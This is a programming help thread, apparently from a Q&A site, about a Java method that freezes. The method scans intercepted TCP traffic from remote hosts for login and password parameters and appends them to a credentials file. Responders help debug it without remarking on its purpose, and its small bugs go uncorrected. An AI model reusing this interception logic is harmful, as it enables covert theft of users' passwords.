• Status: Solved
  • Priority: Medium
  • Security: Public
  • Views: 286
  • Last Modified:

Can someone tell me why this Java method freezes my program?

I have a custom program and when this method is invoked it freezes it.  Connectiondetails is a custom object that hold information about a socket connection, the stringbuffer is a tcp datastream.  the method tries to match a couple of regex's for username and password and then log them to file.
private void filterLog(ConnectionDetails connectionDetails, StringBuffer stringBuffer)
            throws IOException
    {
        final String host = connectionDetails.getRemoteHost();
        if(stringBuffer != null && host != "localhost"){
            String data = stringBuffer.toString();   //convert stringBuffer to String

            String password = null;
            Pattern p1 = Pattern.compile(".*&pass\\w*?=([^&]*)&.*", Pattern.CASE_INSENSITIVE);
            Matcher m1 = p1.matcher(data);   // pass in the text read from the socket
            if (m1.matches()) {              // tests if the pattern matches at all
                password = m1.group(1);      // if so, get group 1 from the match - this the text in between the parenthesis in the regex.
            }

            String login = null;
            Pattern p2 = Pattern.compile(".*&(login|email|username)=([^&]*)&.*", Pattern.CASE_INSENSITIVE);
            Matcher m2 = p2.matcher(data);
            if (m2.matches()) {
                login = m2.group(2);
            }

            if (login != null && password != null){
                FileWriter writer = new FileWriter(credentialList, true);  //create FileWriter
                writer.write("Host:" + host + "/n");
                writer.write("Login: " + login + "/n");
                writer.write("Password: " + password + "/n/n");
                writer.close();
            }
        }
    }

Open in new window

0
southpau1
Asked:
southpau1
  • 4
  • 3
  • 2
  • +1
1 Solution
 
objectsCommented:
>         final String host = connectionDetails.getRemoteHost();


i''m guessing its blocked in there, perhaps waiting on I/O for example a response from server
0
 
CEHJCommented:
You need to put debug lines in it to find out where it's blocking. Guesswork is pointless
0
 
southpau1Author Commented:
everything else looks good though, with the regex and if statements and filewriter?
0
Independent Software Vendors: We Want Your Opinion

We value your feedback.

Take our survey and automatically be enter to win anyone of the following:
Yeti Cooler, Amazon eGift Card, and Movie eGift Card!

 
CEHJCommented:
Yes
0
 
CEHJCommented:
If it IS that line, you might need to ensure that it's not trying a DNS resolution (could be expensive or impossible) if all you need is the IP address
0
 
objectsCommented:
> everything else looks good though, with the regex and if statements and filewriter?

none of that would freeze it up
0
 
CEHJCommented:
Try setting enableLookups to false in the <Connector> element of server.xml
0
 
gordon_vt02Commented:
This won't help the blocking, but you might consider making the Patterns static final constants if they're unchanging and that method is called often.  You'll save yourself the overhead of recompiling every time the method is called, which will give you a little better performance.
0
 
southpau1Author Commented:
We figured it out.  There were some problems with the declaration of the file that was used in the FileWriter object.  Thanks all for the help.
0
 
southpau1Author Commented:
I did not use a solution provided by the EE community.  My partner and I figure out the solution on our own.
0

Featured Post

Free Tool: ZipGrep

ZipGrep is a utility that can list and search zip (.war, .ear, .jar, etc) archives for text patterns, without the need to extract the archive's contents.

One of a set of tools we're offering as a way to say thank you for being a part of the community.

  • 4
  • 3
  • 2
  • +1
Tackle projects and never again get stuck behind a technical roadblock.
Join Now